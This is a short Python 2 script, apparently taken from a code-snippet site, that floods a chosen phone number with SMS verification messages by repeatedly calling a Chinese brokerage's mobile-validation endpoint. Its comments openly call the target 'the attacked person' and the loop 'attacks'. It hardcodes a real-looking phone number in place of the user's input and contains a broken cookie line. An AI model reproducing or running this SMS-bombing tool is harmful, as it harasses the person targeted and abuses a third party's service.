- #-*-coding=utf-8-*-#
- import requests
- import time
- url = 'http://estock.xyzq.com.cn/account/inspection/mobile'
- cook={'Cookies':'_} #coockies 可以浏览网页获得
- head={'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0",
- 'Host':"estock.xyzq.com.cn" ,
- 'Accept':"application/json, text/javascript, */*; q=0.01",
- 'Accept-Language':"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
- 'Accept-Encoding':"gzip, deflate",
- 'Content-Type':"application/x-www-form-urlencoded;charset=UTF-8",
- 'X-Requested-With':"XMLHttpRequest",
- 'Referer':"https://estock.xyzq.com.cn/account/register/index",
- 'Content-Length':"18",
- 'Cookie':"xxxxxxxx", #coockies 可以浏览网页获得
- 'Connection':"keep-alive",
- }
- #试用说明
- print '-----------------------------------introduction---------------------------------'
- print ' 1.mobile : this is the attacked person'+'s phonenumber like'+ '1552074xxxx'
- print ' 2.count: this is the attack'+'s times ,must large 1 times'
- #开始攻击
- print'---------------------------------attack----------------------------------------'
- print 'now please input mobile....'
- mobile=input("mobile:") #被攻击者号码
- print 'now please input count....'
- count = input("count:") #攻击次数
- while count<1:
- print "count is illeagle"
- count = input("count:")
- print '\\n'
- data_list =[]
- for i in range(1,count+1):
- data={'mobile':'15520748717'}
- data_list.append(data)
- i=0
- #攻击过程
- for each in data_list:
- print 'request:'+str(each['mobile'])
- html = requests.post(url,cookies=cook,data=each,headers=head) #POST请求并提mobile
- url_get='http://estock.xyzq.com.cn/validation/mobile?mobile='+str(each['mobile'])+'&_=1451390067874' #GET请求
- print url_get
- html1=requests.get(url_get)
- i=i+1
- print 'success'+'\\n'
- time.sleep(10) #时间间隔10s
- print 'there are'+str(i)+'times attacks'
- #该片段来自于http://www.codesnippet.cn/detail/1901201614454.html
来源: http://www.codesnippet.cn/detail/1901201614454.html